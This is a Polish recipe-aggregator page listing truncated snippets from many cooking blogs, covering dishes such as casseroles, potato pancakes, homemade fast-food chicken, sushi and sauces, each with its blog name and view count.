ułożyć warstwę ziemniaków, na niej wszystkie warzywa, a następnie wyłożyć mięso mielone i przykryć pozostałymi ziemniakami. Śmietanę wymieszać z jajkiem i startym żółtym serem. Doprawić gałka muszkatołową i pieprzem. Sosem śmietanowym zalać zapiekankę, przykryć pokrywką lub folią aluminiową i wstawić do rozgrzanego do 180 st.C piekarnika. Piec przez ok. 30 minut

Pasja Smaku
Mięso pieczone w cieście 256

Podczas pieczenia z mięsa wypływają soki, które po upieczeniu możemy wykorzystać do sosu lub zrobić domowe kostki mięsne. Po wystudzeniu mięsa, ciasto zdejmujemy i raczej wyrzucamy, kiedy nasiąknie trudno będzie się go pozbyć. Pewnie taką wersję pieczenia wymyślił ktoś komu zabrakło folii aluminiowej

Proste Potrawy
Kapuśniak z pomidorami 211

kiełbasę i przeciśnięty przez praskę czosnek. Smażymy wszystko przez około 5 minut.  Następnie wlewamy na patelnię pomidory z puszki i gotujemy aż trochę wody wyparuje i zostanie zredukowany sos z pomidorów, kiełbasy, cebuli i czosnku.  Ugotowane i odcedzone ziemniaki dorzucamy na patelnię i chwilę jeszcze dusimy.  Następnie zawartość patelni dorzucamy do bulionu i kapusty i gotujemy przez

Anielska Kuchnia Ani
Sałatka owinięta śledziem 239

śledzie kroimy w kostkę. Dwa filety zostawiamy w całości. Majonez mieszamy ze śmietaną i musztardą, doprawiamy solą i pieprzem. W miseczce mieszamy ze sobą jajka, ogórki, śledzie, groszek, dodajemy sos śmietanowo - majonezowy i całość ze sobą mieszamy. Doprawiamy solą i pieprzem do smaku. Tak przygotowaną sałatkę odstawiamy do lodówki na ok. 1 godz., aby smaki się ze sobą połączyły

Moniki Smakołyki
Pasztet drobiowy – dwuwarstwowy 511

ewentualnych błon i podsmażamy na łyżce oleju przez minutę z każdej strony. Wlewamy koniak, nakrywamy pokrywką i dusimy przez minutę. Wątróbki zdejmujemy, kroimy na mniejsze części i zalewamy sosem koniakowym z patelni. Patelnię czyścimy, rozgrzewamy następną łyżkę oleju i podsmażamy pokrojoną cebulę. Zalewamy ją winem i dusimy minutę. Zawartość patelni wlewamy do wątróbek. Dodajemy także majeranek, posiekaną pietruszkę, śmietanę kremówkę

Poezja smaku
Warsztaty "Kuchnia w parze ze zdrowiem" 211

które i osobiście też przypadło do gustu był pieczony burger przygotowany z białej fasoli i pieczonych batatów, podany w pełnoziarnistej bułce z dodatkiem awokado i ostrego sosu ajvar. Te dwie pozycje wkrótce pojawią się na blogu

Kulinarne przygody Gatity
A więc tak... 195

Urozmaicą Waszą kuchnie  domową, Zapiekanka prosta na kolacje ze Dwoje lub znajomymi  Pieczeń rzymską z jajkiem Szarlotkę, którą muszę dokształcić z pianką czekoladową Schab z czosnkiem z sosem pieczeniową Polecam i zapraszam codziennie na ciekawe przepisy:) naprawdę dobre jedzenie  Pozdrawiam

pichciszto
Weekend na Węgrzech - relacja 227

słone. Deser zbyt alkoholowy, nie zjadłam nawet połowy. Do posiłku zamówiliśmy piwo Dreher (jasne i ciemne). Druga kolacja znów była nierówna. Na przystawkę podano naleśnik z mięsnym farszem oraz sosem , a na danie główne pieczone plastry schabu ze słoniną i frytkami . Deser tym razem był przyjemny: śmietankowy deser z kwaskowatymi malinami . Drugie danie było bardzo tłuste i znów za słone

Pasja Smaku
Kremowa potrawka z kurczaka 444

miksujemy na aksamitna masę blenderem.   Kładziemy na gaz, dajemy marchew, zagotowujemy i zmniejszamy gaz- gotujemy około 10 min, od czasu do czasu mieszając. Kroimy mięso. Dodajemy do sosu groszek i mięso. Od zagotowania, trzymamy na gazie około 5 min , mieszajać od czasu do czasu. Przyprawiamy solą i pieprzem. Dodajemy natkę pietruszki. Gotowe.  Smacznego

Smaki Edyty
Kasza jaglana z musem jabłkowym i prażonym sezamem 225

regularnie. Kasza została więc uprażona, ... potem ugotowana  (u mnie z wodą i mlekiem). Sezam podprażyłam na patelni i dodałam do musu jabłkowego produkcji Teściów. Na koniec kapka sosu porzeczkowego i jedziemy. Nie wiem kto zajadał się bardziej: Bruno czy ja ;) Kaszę jaglaną mam w końcu "odhaczoną

Z butelką mleczka w tle
Nototenia - czyli domowy obiadek 277

zrobimy jak się skończy sezon ziółek na balkonie (bo oczywiście tylko świeże nadają się do użycia w ten sposób). Żeby obiad był jeszcze bardziej wypasiony ziemniaczki zostały polane sosem z zebranych przez nas wczoraj  prawdziwków. LATO TRWAJ

Z butelką mleczka w tle
Słoneczne ratatouille z bakłażanem i cukinią 303

zółte, pomidory różnokształtne, papryka żółta, papryczka ostra, cebula cukrowa, cebula czerwona. Wszystko pokroiłam mniej więcej na półtalarki. Cebule i czosnek posmażyłam i przełożyłam do garnka w którym miał powstać sos. Dodałam tam pokrojone pomidory, słoiczek domowego przecieru pomidorowego, garść świeżych posiekanych ziół z balkonu, łżeczkę soli, pieprzu, cukru, ostrej pasty paprykowej. Dodałam też 2 kawałki pokrojonej w kosteczkę i przesmażonej

Z butelką mleczka w tle
Szybkie babeczki z budyniem i malinami 420

soli 1 łyżeczka cukru waniliowego 2 łyżki cukru 1/4 kostki masła 1 łyżka śmietany Wystarczy zagnieść ciasto ze wszystkich składników i gotowe. A co do moich babeczek: dałam odrobinę sosu z czerwonych porzeczek na dno (robionego przez moją mamę). Na to budyń (zmiksowany z ok 3 łyżkami masła) i na to malinki. Jeśli nie mamy w planach zjedzenia wszystkiego

Z butelką mleczka w tle
Cukinia na najprostszy sposób - smażona 262

panierce i wrzucałam na dobrze rozgrzaną patelnie z olejem czosnkowym (własnej roboty). Nie smażyłam długo, bo cukinii wystarczy, że zmięknie a panierka się zarumieni. Podałam ją z jogurtowym sosem koperkowym. Zniknęła szybciej niż się robiła

Z butelką mleczka w tle
Grzybobranie 194

chodzenie po skraju lasu a nie prawdziwe grzybobranie) znaleźliśmy piękne okazy: - maślaki - prawdziwki - koźlarki - opieńki Cały dom pachnie octem, bo Mamcia walczy dzielnie i robi grzybki marynowane oraz sos grzybowy

Z butelką mleczka w tle
Surówka colesław 227

główki posiekanej w dowolny sposób białej kapusty (ja wolę piórka niż wersję mini) - 2 marchewki starte na grubej tarce - 1 cebula drobno posiekana w kosteczkę Wszystko mieszamy i zalewamy sosem przygotowanym z: 4 łyżek cukru 1/2 szklanki majonezu 3 łyżek mleka 1 i 1/2 łyżki octu winnego (ja się machnęłam i dodałam też balsamiczny, myślę, że wyszło na plus) soku

Z butelką mleczka w tle
Oszukane Gnocchi z zielonym pesto. 207

Oszukane, bo to kopytka, a dodatkowo sos jest ze słoika. No cóż, czasem tak jest, że mamy 3 minuty i trzeba kombinować. Obiad iście studencki, ale pyszny tak jak należy :) - porcja kopytek - kilka łyżek zielonego pesto - ok 1/2 startej kulki mozarelli - parmezan do posypania Żeby już do końca urazić tradycjonalistów wszystko zostało zmieszane i podgrzane w mikrofali, zamiast w piecu

Z butelką mleczka w tle
Jabłka w cieście naleśnikowym 269

Maczamy kawałki jabłka w cieście i nakładamy na rozgrzaną patelnię, posmarowaną niewielką ilością tłuszczu. Smażymy z obu stron do zrumienienia. Najlepsze jeszcze na ciepło, posypane cukrem pudrem, lub z sosem owocowym, dżemem, kleksem śmietany czy innym ulubionym dodatkiem. Smacznego

Z butelką mleczka w tle
Pavlova z żurawiną 270

kolejny sposób na jej wykorzystanie. Inspiracją był przepis Beaty , ale zmieniłam w nim niemal wszystko. Zamiast dużego tortu - mniejsze puchate bezy, do tego odrobina kremówki i sos ze świeżej żurawiny. Wyszło coś obłędnie pysznego; C. stwierdził, że to chyba najlepsze bezy, jakie jadł. Słodko-kakaowe, chrupiące z wierzchu i ciągnące w środku - idealne. Do tego śmietana ubita na delikatny puch

Pożeraczka, czyli raz adobrze
Placki z cukinii (bez glutenu, mleka i jajek) 320

Dziś na szybki obiad ekspresowe placki z cukinii :) Pysznie smakowały z dodatkiem sosu pomidorowo-bazyliowego oraz surówką z sałaty, roszponki i kalarepki. Dzieci twierdzą co prawda, że cukinii nie lubią ale tutaj została przemycona tak skutecznie, że nawet nie zorientowały się i placki w mig zniknęły ;) S kładniki: cukinia 2 małe szt, około 400g mąka kukurydziana lub jaglana

głodny alergik
Makaron z pomidorami i mozzarellą 191

Mozzarellę ostatnio dodaję do wszystkiego, kanapek, sosów i mięs. Tym razem połączyłam ją z makaronem i świeżymi pomidorami. Całość obowiązkowo z bazylią. Szybki i pyszny sposób na obiad czy ciepłą kolację. Składniki : * 200g dowolnego makaronu - u mnie muszelki * 300g świeżych pomidorów rzymskich * 2 łyżki oliwy z oliwek * ząbek czosnku  * kulka mozzarelli * świeża bazylia * sól, pieprz do smaku Przygotowanie : Makaron

Magiczne Życie Marty
Perliczka pieczona w tymianku i czosnku 572

niego 2 łyżki oliwy, niewielką ilość soli i świeżo zmielonego czarnego pieprzu, po czym dokładnie wymieszałem, aby oliwa połączyła się z sokiem z cytryny tworząc jednolitą konsystencję. Takim sosem polałem buraki i całość dokładnie wymieszałem. Ziemniaki obrałem ze skórek i pokroiłem w ćwiartki, które ułożyłem na blaszce do pieczenia. Delikatnie je posoliłem, przyprawiłem świeżo zmielonym pieprzem i posypałem 1 łyżką

Wyprawy kulinarne
Placki Ziemniaczane - Najlepszy przepis 2455

Smażymy z obu stron na złoty kolor.  Po usmażeniu placki ziemniaczane przekładamy na ręczniki papierowe w celu pozbycia się nadmiaru tłuszczu. Placki możemy poda ć z dowolnym sosem (u mnie grzybowy) jednak same - bez dodatków,  również smakują wyśmienicie. Moje posty

Słodka Strona
Roladki z Szynką i Serem w Cieście Francuskim 612

plastry roladek, przekładamy na blachę wyłożoną pergaminem i smarujemy jajkiem. Pieczemy w temp. ok. 170 °C  przez ok. 15- 20 minut do zrumienienia ciasta. Podajemy z dowolnymi sosami. Moje posty

Słodka Strona
"Stripsy" 732

pokryła kawałki mięsa. Mąki nie należy dociskać do kurczaka. Stripsy smażymy w głębokim oleju na złoty kolor (przez ok. 4-5 minut z każdej ze stron). Podajemy z dowolnymi sosami. Polecam czosnkowy i barbecue. Moje posty

Słodka Strona
Spaghetti "Carbonara" 367

Carbonara to włoska potrawa składająca się z makaronu spaghetti oraz kremowego sosu na bazie żółtek i boczku. Mimo, że połączenie makaronu z jajkami może wydawać się dość kuriozalne, zachęcam do wypróbowania przepisu, ponieważ danie to jest niezwykłe i niejednej osobie przypadnie do gustu.  Spaghetti Carbonara -  Składniki: ok. 350 g makaronu spaghetti 300 ml słodkiej śmietanki 30% 4 żółtka

Słodka Strona
Makaron z Boczkiem 231

czym wrzucamy boczek - smażymy do zrumienienia. Następnie dodajemy paprykę, pomidory, bulion i wszystko razem dusimy do otrzymania pożądanej konsystencji. Doprawiamy.  Ugotowany al dente makaron mieszamy razem z sosem, wykładamy na talerze i posypujemy tartym serem. Moje posty

Słodka Strona
Makaron z Kurczakiem i Szpinakiem 398

podgrzewamy do powstania jednolitej konsystencji. Następnie wrzucamy serki topione, dodajemy po 1/3 łyżeczki przypraw i dusimy ok. 4 minuty. Na ugotowany al dente makaron wykładamy kawałki kurczaka, całość polewamy sosem i posypujemy tartym serem. Moje posty

Słodka Strona
Domowy Longer KFC 2454

dół kładziemy gotowego strips'a, wykładamy drobno pokrojoną sałatę lodową. Wierzchnią część bułki smarujemy od wewnątrz ketchup'em i przykrywamy całość. Longer'y możemy podać z frytkami oraz sosami np. czosnkowy, barbecue.          Moje posty

Słodka Strona
Domowy Zinger KFC 1666

dół kładziemy gotowego strips'a, wykładamy drobno pokrojoną sałatę lodową. Wierzchnią część bułki smarujemy od wewnątrz majonezem i przykrywamy całość. Gotowe Zin ger'y możemy podać z frytkami oraz sosami np. czosnkowym, barbecue. Moje posty

Słodka Strona
Róże z Ciasta Francuskiego i Salami 337

różyczki.  Różyczki przekładamy do formy na muffinki wyłożonej papierem do pieczenia. Pieczemy w temperaturze 170 stopni przez ok. 15-20 minut do zrumienienia. Podajemy z ketchupem i sosem czosnkowym.     Moje posty

Słodka Strona
Placki z Ziemniaków i Cukinii 345

Smażymy z obu stron na złoty kolor w dość dużej ilości tłuszczu. Po usmażeniu przekładamy na ręczniki papierowe w celu pozbycia się nadmiaru oleju. Placki możemy podać z dowolnym sosem jednak same, bez dodatków również smakują wyśmienicie. Moje posty

Słodka Strona
Czekoladowo-Orzechowe Babeczki Ferrero Rocher 178

wygładzamy za pomocą noża lub szpatułki (można również użyć szprycy).  Na wierzch każdej babeczki możemy wyłożyć po jednej pralince Ferrero Rocher lub posypać orzechami laskowymi i polać sosem czekoladowym. Moje posty

Słodka Strona
Kurczak w Cieście Naleśnikowym 571

przygotowanym cieście i przekładamy na rozgrzany olej. Smażymy z obu stron na złoty kolor w głębokim oleju (po ok. 4 min.). Gotowe kurczaczki podajemy np. z frytkami oraz dowolnymi sosami. Moje posty

Słodka Strona
Domowe Hamburgery 276

jajko odrobina mleka (do posmarowania bułeczek) sezam do posypania Burgery: 500 g wołowiny cebula 3 ząbki czosnku łyżka musztardy łyżeczka sosu Worcester (ewentualnie Maggi) łyżeczka zimnej wody jajko sól, pieprz przyprawy: słodka papryka, kolendra, majeranek, tymianek, rozmaryn olej (do smażenia) Dodatkowo: ok. 2-3 pomidory duży ogórek 1-2 cebule sałata (np. masłowa, lodowa) ketchup majonez Domowe Hamburgery - Sposób przygotowania

Słodka Strona
Domowy Cheeseburger 259

mąki pszennej 1,5 łyżeczki soli jajko   odrobina mleka (do posmarowania bułeczek) sezam do posypania Burgery: 500 g wołowiny cebula 3 ząbki czosnku łyżka musztardy łyżeczka sosu Worcester (ewentualnie Maggi) łyżeczka zimnej wody jajko sól, pieprz przyprawy: słodka papryka, kolendra, majeranek, tymianek, rozmaryn olej (do smażenia) Dodatkowo: ok. 2-3 pomidory duży ogórek 1-2 cebule sałata (np. masłowa

Słodka Strona
Muffiny z Pieczarkami i Serem 243

propozycją dla osób lubiących eksperymentować. Myślę, że warto spróbować muffinków w nowej, wytrawnej wersji, ponieważ może się okazać, że niejednej osobie przypadną do gustu.  Babeczki warto podać z sosami, np. czosnkowym, meksykańskim.  Muffiny z Pieczarkami i Serem - Składniki: 2 jajka 340 g mąki pszennej 130 g masła + ok. 1 łyżka do podsmażenia pieczarek (lub 125 ml dobrej jakości

Słodka Strona
Muffiny z Szynką i Serem 237

osób lubiących eksperymentować. Być może warto spróbować muffinków w nowej, wytrawnej wersji - ponieważ może się okazać, że niejednej osobie przypadną do gustu.  Babeczki warto dodatkowo podać z sosami, np. czosnkowym, meksykańskim. Muffiny z szynką i serem będą świetną przekąska do piwa lub np. jako dodatek do potraw grillowych zastępując tradycyjne pieczywo. Muffiny z Szynką i Serem - Składniki: 2 jajka

Słodka Strona
Domowe Hot Wings jak z KFC 14211

charakterystyczne "łuski". Hot Wingsy smażymy w głębokim oleju, na średnim ogniu, na złoty kolor (przez ok. 5-7 minut z każdej ze stron). Podajemy z frytkami i dowolnymi sosami, np. czosnkowy i barbecue.             Moje posty

Słodka Strona
Domowe Stripsy jak z KFC 3013

dociskać do kurczaka. Stripsy smażymy na średnim ogniu, w głębokim oleju na złoty kolor (przez ok. 4-5 minut z każdej ze stron).  Podajemy z frytkami i dowolnymi sosami np. czosnkowym oraz barbecue.     Moje posty

Słodka Strona
Drożdżowe Warkocze - Paluchy z Ziołami Prowansalskimi 362

Drożdżowe paluchy w formie ładnie wyglądających warkoczy to idealny dodatek do sałatek czy też przystawek. Sprawdzą się również jako odrębna przekąska podana z ulubionymi sosami. Paluchy drożdżowe to nic innego jak tradycyjne ciasto na pizze z dodatkiem ziół prowansalskich splecionych w formie warkoczy. W smaku delikatne, puszyste, a przy tym chrupiące i bardzo smaczne. Bardzo prosta przekąska, która zaspokoi niejedno

Słodka Strona
Ciasto szwedzkie z dżemem 203

masła, aby wykonać inne ciasto. Ciasto wyszło znośne, jednak szaleć na jego punkcie nie będę. Dla mnie to taki placek  z dżemem. W oryginale należało podawać go przełażonego sosem waniliowym, ale nie miałam na niego składników, dlatego jest dżem. Ciasto jednak, bez problemów można wciągnąć z popołudniową kawą. Składniki: Wszystkie składniki powinny być w temperaturze pokojowej 3 jajka

Moje pyszne gotowanie
Domowy kebab (z proziakowych placków) 233

ściereczką, aby nie obsychały, a smażyć je jak mięso już będzie prawie gotowe. Wtedy będą cieplutkie.  *Do sałatki można dodać np. śmietany bądź majonez lub zrobić ulubiony sos. Ja nie lubię takich rzeczy więc jem bez tego. Surówka nr. 2, którą jadła reszta rodzinki: Kapustę pekińską kroimy w paseczki, dodajemy do tego posiekany szczypior i wszystko mieszamy dodając śmietanę

Moje pyszne gotowanie
Roladki z kapustą-alternatywa dla pierogów z kapustą 406

podlać wodą na 3 cm wysokości naczynia. Wstawić do piekarnika,temp.230 stopni na 30 minut, następnie temp. obniżyć do 190 stopni i piec jeszcze 5 minut. Doskonale smakują z sosem grzybowym. W wersji niepostnej zamiast grzybów ,daję boczek

Kulinarny karnet Christophera
Świąteczny zielony sernik korzenny 229

polewę. Na garnku z gotującą się wodą stawiamy miskę odporną na wysokie temperatury. Umieszczamy w niej wszystkie składniki na polewę (oprócz cukrowych kuleczek) i energicznie mieszamy, aż powstanie jednolity sos. Zdejmujemy z ognia i zostawiamy do ostygnięcia, co jakiś czas mieszając.  4. Polewę wylewamy na sernik, dekorujemy cukrowymi kuleczkami. Ponownie wstawiamy do lodówki na około godzinę. Smacznego! :) Przepis bierze

My Culinary Art
Kluski łyżką kładzione 195

gotowe do spożycia.  Wskazówki: Mleko można zastąpić wodą, ale według mnie są smaczniejsze z mlekiem. Taka porcja starcza dla 2 osób. Kluseczki można również podawać z jakimś sosem do mięsa i jest to ciekawa alternatywa zamiast kaszy, ryżu czy ziemniaków

upichcic
Placki z cukinii 210

resztę składników i smażymy na oleju rzepakowym. Usmażone placki najlepiej wyłożyć na papierowe ręczniki, by pochłonęły nadmiar tłuszczu. Wskazówki: Placki z cukinii można podawać z cukrem, gęstą śmietaną czy sosem czosnkowym

upichcic
Cukinia zapiekana z mięsem mielonym 198

nakładać farsz.  Na patelni smażymy cebulę, krótko czosnek i wrzucamy mięso mielone. Mięso doprawiamy solą, pieprzem, czerwoną mieloną papryką, oraz bazylią i oregano. Dodajemy przecier pomidorowy. Smażyć aż sos trochę zgęstnieje.  Do miski przekładamy usmażone mięso, natkę pietruszki oraz ugotowany al dente ryż. Mieszamy, a następnie przekładamy farsz na wydrążone cukinie, które delikatnie solimy. Na wierzchu farszu układamy

upichcic
Ślimaczki z ciasta francuskiego 193

pieczenia w odległości ok 2 cm.  Ślimaczki pieczemy ok 10-15 minut w temperaturze 220 stopni. Wskazówki: Te przekąski można podawać bez niczego, ale doskonale smakują z sosem czosnkowym. Super przekąska na przyjęcia

upichcic
Tarta z kurczakiem i szpinakiem 1423

wylewamy roztrzepane jajka ze śmietaną oraz ścieramy ser i taką tartę wkładamy z powrotem do piekarnika na kolejne 20 minut. Wskazówki: Tartę można podawać na ciepło lub zimno, z sosem czosnkowym lub bez. Ja mam formę do tarty o średnicy 28 cm, ale jeśli nie macie takiej formy, możecie upiec tartę na przykład w podłużnej formie do pieczenia ciasta, tylko

upichcic
Programy kulinarne: Pyszne grillowanie 262

grillowania. Jak zwykle Ania pokaże szybkie, często nietypowe ale proste w wykonaniu przepisy. W programie podano następujące przepisy na potrawy z grilla: kanapka z grillowanym rostbefem oraz warzywami domowy sos barbecue karkówka w dwóch odsłonach, czyli w dwóch pysznych marynatach grillowane owoce z salsą miętową

WojnaNaSmaki.pl
Pizza domowa 199

dawkować ostrość ;) Ser starłam na grubej tarce, a pomidora pokroiłam w plastry. pizza przed włożeniem do pieca Zanim ułożyłam wszystko na cieście, posmarowałam je lekko keczupem. Można również zrobić sos pomidorowy z przecieru lub soku, dodając do tego szczyptę soli, trochę pieprzu, wyciśnięty ząbek czosnku i łyżkę ziół prowansalskich Pizzę piekłam w temperaturze 200 stopni przez około 15 minut

Codzienna kuchnia niecodzienna
Marynata do mięs 177

Czasem pieczemy mięsa i podajemy jego plastry z sosem na obiad. Czasami pieczemy i zjadamy na zimno na kanapkach. Warto pokusić się i zamarynować mięso wcześniej nie tylko z suchymi przyprawami. Marynata, którą chcę dziś polecić świetnie sprawdza się do przyrządzania dziczyzny i wołowiny. Znalazłam ten przepis wiele lat temu, chyba wtedy, gdy przygotowywałam pierwsze urodziny córki. Dostałam wtedy sporo

Codzienna kuchnia niecodzienna
Kluski ziemniaczane z kapustą zasmażaną 425

miarę zwarte ciasto). Mieszamy i małą łyżeczką nabieramy kluseczki które kładziemy na wrzącą wodę. Gotujemy kilka minut. Po odcedzeniu od razu podajemy. Takie kluski można również jeść z sosami mięsnymi. Smacznego

Codzienna kuchnia niecodzienna
Tortilla wegetariańska z pastą z czerwonej fasoli 317

zawijanie tortilli. Oto moje składniki: sałata lodowa, pomidor, ogórek świeży, czerwona cebula Na placku rozsmarowujemy pastę fasolową, a następnie układamy składniki nadzienia - według smaku i gustu. Na składniki nakładamy sos czosnkowy. Placek z nadzieniem najpierw zakładamy na dole, żeby utworzyć kieszonkę. Mamy wtedy pewność, ze nadzienie nie wypadnie nam dołem. Placek dość ciasno zawijamy. Jeśli zrobicie własnoręcznie placki z przepisu

Codzienna kuchnia niecodzienna
Sushi - moje pierwsze własnoręcznie zrobione 219

się tym, co udało mi się wczoraj zrobić pierwszy raz :)  Moje sushi przygotowałam ze świeżym ogórkiem, papryką konserwową, kawałkami sałaty lodowej, wędzonym łososiem i wasabi. Do tego podałam sos sojowy i marynowany różowy imbir. Lubicie sushi? Przygotowujecie je sami

Codzienna kuchnia niecodzienna
Zupa grzybowa 191

średnim ogniu. Ja często do takich zup używam mięsa (najczęściej kawałka karkówki), które później wykorzystuję jako bazę do przygotowania farszu do pierogów, naleśników lub uduszenia w białym sosie śmietanowym. Marchew, pietruszkę i seler umyć, obrać i pokroić w kostkę. Por opłukać i pokroić w cienkie plasterki. Wszystko poddusić na połowie masła i dodać do wywaru. Namoczone grzyby pokroić

Codzienna kuchnia niecodzienna
Sushi - to nie jest trudne 205

już nałożymy wszystkie składniki, przystępujemy do zwijania. Pomagamy sobie matą, która sprawi, ze rulonik będzie równiutki. Po zrolowaniu ostrym nożem kroimy kawałeczki 2-3 centymetrowe.  Sushi podajemy z sosem sojowym . Nalewamy go do niewielkich miseczek i każdy sam zanurza kawałek sushi bezpośrednio przed jedzeniem. Jako dodatki podajemy również wasabi (bardzo ostry japoński chrzan) oraz marynowany imbir , który działa oczyszczająco

Codzienna kuchnia niecodzienna
Chińszczyzna po polsku czyli szynka Maggi z warzywami 230

dość szerokie określenie potraw, które swoje korzenie wywodzą z dalekiego wschodu. Nie ma chyba takiego, który nie próbowałby kurczaka czy wieprzowiny z ryżem przyprawionych orientalnymi przyprawami, a przede wszystkim sosem sojowym. Pewnie te potrawy mają niewiele wspólnego z ich oryginalnymi odpowiednikami, no ale ....  ;) Dziś chcę Was zaprosić na taką polską chińszczyznę czyli wieprzowinę zamarynowaną w przyprawie Maggi. Przyznam

Codzienna kuchnia niecodzienna
Tarteletki szpinakowe z serem 166

Padano.)  Ponownie wstawić do piecyka nagrzanego do temperatury 190 stopni i zapiekać do stopienia lub zrumienienia sera. Jak kto lubi :) Takie tarteletki podaję najczęściej z miksem sałat polanych sosem vinaigrette.  Smacznego

Codzienna kuchnia niecodzienna
Zraziki babci Zuzanny 235

oleju.  Po lekkim zrumienieniu ze wszystkich stron, wrzucamy pokrojoną w piórka cebulę i lekko przesmażamy.  Następnie podlewamy niewielką ilością wody i dusimy do miękkości. Powstałym z duszenia sosem polewamy mięso. Nie ma potrzeby zagęszczania go niczym. Takie cuda gotuje moja ukochana babcia Zuzanna :) Smacznego

Codzienna kuchnia niecodzienna
Paprykówka czyli nalewka z chili ze skórką cytrynową 324

Chyba, ze ktoś jest wyjątkowym twardzielem ;) Ja wykorzystuję taką wódkę do przyrządzania Krwawej Mery czyli drinka z soku pomidorowego. Wystarczy do soku dodać samą nalewkę, bez konieczności zaostrzania smaku sosem tabasco ;)) Smacznego! ;) Przepis opublikowałam na portalu Przepis na Kobietę  > KLIK

Codzienna kuchnia niecodzienna
Letnie placki ziemniaczane 325

mąki, wtedy staną się bardziej spójne. Ja jednak wolę mniej mąki, gdyż wolę placki bardziej jarzynowe niż mączne. Takie placki podaję najczęściej z kwaśną śmietaną, czasem z sosem czosnkowym lub mięsnym, albo gulaszem.  Na lato polecam jednak najzwyklejszą śmietanę lub jogurt naturalny, wtedy smakują jak wakacje u babci :) Smacznego! Zapraszam Was do wzięcia udziału w tym konkursie

Codzienna kuchnia niecodzienna
Kurczak duszony w papryce 492

mimo wysokich temperatur za oknem) trzeba przygotować mu najzwyczajniejsze w świecie mięcho ;) Kurczak pieczony z papryką to jedno z moich ulubionych dań. Mięso jest soczyste, aromatyczne i bardzo delikatne. Sos, który wytwarza się podczas pieczenia, a właściwie duszenia, jest bardzo esencjonalny. Nie ma potrzeby zagęszczać go czy doprawiać śmietaną, smakuje taki, jaki jest :) Składniki: kurczak , 2 duże

Codzienna kuchnia niecodzienna
Kabaczek zapiekany z mięsem i fetą 208

plastry pomidora. Na pomidory resztę mięsa, a na górę pokruszoną fetę. Nafaszerowane kabaczki zapiekać pod przykryciem w temperaturze 160-170 stopni przez około 45 minut. Podawać z sosem czosnkowym przygotowanym ze śmietany, przeciśniętego przez praskę czosnku, soli i pieprzu. Smacznego

Codzienna kuchnia niecodzienna
Kotleciki z kaszy jęczmiennej z papryką 263

pokruszoną fetę i wymieszać. Dłońmi zwilżonymi w zimnej wodzie formować kotleciki, obtaczać je w bułce tartej i smażyć na średnio rozgrzanym oleju na rumiany kolor. Ja podałam kotleciki z sosem czosnkowym przygotowanym błyskawicznie z naturalnego jogurtu, przeciśniętego przez praskę czosnku, soli i pieprzu. Kotlety są tak bardzo syty, że nic więcej do nich nie potrzeba. Proporcje możecie dowolnie zmieniać

Codzienna kuchnia niecodzienna
Gruszka Moniki, czyli tarta z gruszką na miodzie cynamonowym 237

plastry. Na patelni roztopić miód cynamonowy z masłem i delikatnie, nie za długo, obsmażyć plastry gruszki. Ułożyć je następnie na dnie foremki wraz z pozostałym sosem. Na wierzch zetrzeć na tarce (lub rozkruszyć palcami) przygotowane wcześniej ciasto. Powinno być go mniej więcej na grubość palca. Ciasto minimalnie docisnąć do owoców.  Foremkę wstawić

Codzienna kuchnia niecodzienna
Schabowe roladki z gruszką i miodem na ostro 195

oleju średnim ogniu. Podlewać niewielką ilością wody i udusić do miękkości. Kiedy mięso będzie miękkie odstawić je z ognia. Włożyć masło, roztopić i wymieszać. Nie gotować.  Takiego sosu nie zagęszczam już niczym więcej, gdyż jest pyszny sam w sobie. Smacznego! Przepis został opublikowany również na portalu  Przepis na Kobietę

Codzienna kuchnia niecodzienna
Zapiekanka a'la tarta z gotowanego kurczaka i warzyw 387

sól i pieprz - wylać na zapiekankę. Ser żółty zetrzeć na tarce i posypać nim zapiekankę. Piec przez kilkanaście minut w temperaturze 180-190 stopni. Podawać z ulubionym sosem lub ketchupem :) Smacznego! * Kruche ciasto robię bardzo prosto i szybko. 2 kostki masła i około 0,9 - 1 dkg pszennej mąki wraz ze szczyptą soli zagniatam na gładkie ciasto. Odstawiam

Codzienna kuchnia niecodzienna
Placki z pieczonej dyni 218

kiedy na placku zaczną pojawiać się pęcherzyki powietrza, wtedy delikatnie przewracać na druga stronę.  Placki są bardzo delikatne w swojej strukturze. Ich smak wspaniale komponuje się z pikantnym sosem czosnkowym, zwyczajną kwaśną śmietaną lub ulubionym dżemem. Ja podałam je na kolację z  powidłami z orzechami z Anielskich Przysmaków , które są niezwykle aromatyczne i intensywne w smaku. Bardzo smacznie

Codzienna kuchnia niecodzienna
Pierogi z kaszą gryczaną, grzybami i boczkiem 270

ręczniku lub czystej ściereczce. Można pobawić się w fantazyjne zaklejanie brzegów, wtedy wyjdą małe cudeńka :) Gotować w osolonej wodzie przez kilka minut od wypłynięcia. Podawać z ulubionym sosem lub skwarkami z cebulką, lub po prostu ze śmietaną. Jak kto lubi :) Smacznego

Codzienna kuchnia niecodzienna
Zapiekanka nelsońska 319

śmietanką, solą i pieprzem. Zalać formę, wierzch posypać utartym żółtym serem. Zapiekać w temperaturze 180 stopni do lekkiego zrumienienia sera. Podawać z ulubionymi sosami. Ja przygotowałam czosnkowy i barbecue. Zapiekanka zniknęła w mgnieniu oka ;) Smacznego

Codzienna kuchnia niecodzienna
Boeuf Stroganow z kładzionymi kluseczkami 366

jeszcze kilka minut, aby wszystkie smaki dobrze się połączyły. (Jeśli Wasze mięso długo jest twarde, wtedy spróbujcie wlać trochę wódki, powinna skruszyć mięso. Oczywiście gotujemy pod przykryciem.) Do powstałego sosu można dodać od razu śmietanę, jednak ja wolę podawać ją osobno tak, aby każdy mógł dodać jej tyle, ile lubi. Boeuf Stroganow podajemy z dodatkiem posiekanej natki

Codzienna kuchnia niecodzienna
Pikantne klopsiki wieprzowe z suszonymi śliwkami moczonymi w winie 200

sposób: do obiadu, z ziemniakami i surówką. Kiedy ostygną można je serwować na zimno, jako dodatek do chrupiącej bułki - na przykład. Po obsmażeniu klopsiki można również poddusić w ulubionym sosie, wtedy staną się miękkie i delikatne. Smacznego! Szczerze polecam suszone śliwki Kresto . Są miękkie i delikatne w swojej strukturze, pięknie pachną. Czasem zdarzało mi się kupić takie, które były twarde

Codzienna kuchnia niecodzienna
Zapiekanka z gotowanego indyka i marchewki, czyli kolejny pomysł na wykorzystanie pozostałości z rosołu 255

kokilkach.  Piec w temperaturze 180-190 stopni przez około 15 minut. Jajko ze śmietaną powinno ściąć się i wyraźnie oddzielić od ścianek kokilek. Podawać z ulubionym sosem, posypane ziołami. Smacznego

Codzienna kuchnia niecodzienna
Karczma Stara Wozownia i jej przysmaki 202

